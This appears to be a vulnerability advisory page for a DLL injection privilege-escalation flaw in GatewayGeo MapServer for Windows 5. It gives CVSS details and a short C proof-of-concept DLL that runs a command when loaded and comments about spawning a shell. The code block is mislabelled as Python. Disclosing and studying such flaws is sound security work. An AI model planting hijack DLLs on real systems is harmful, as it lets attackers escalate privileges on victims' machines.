A Dynamic-link Library Injection vulnerability in GatewayGeo MapServer for Windows version 5 allows attackers to escalate privileges via a crafted executable.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
GatewayGeo MapServer for Windows 5
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdlib.h>
// PoC for DLL Injection/Proxying
// Compile as a DLL matching the name expected by MapServer
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Code executed when the DLL is loaded into the process
// Example: Spawn a shell or demonstrate execution (e.g., creating a file)
system("whoami > C:\\temp\\cve_2026_30478_poc.txt");
// Optionally, load the original legitimate DLL to maintain functionality
// LoadLibraryA("C:\\Path\\To\\Original\\Original.dll");
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}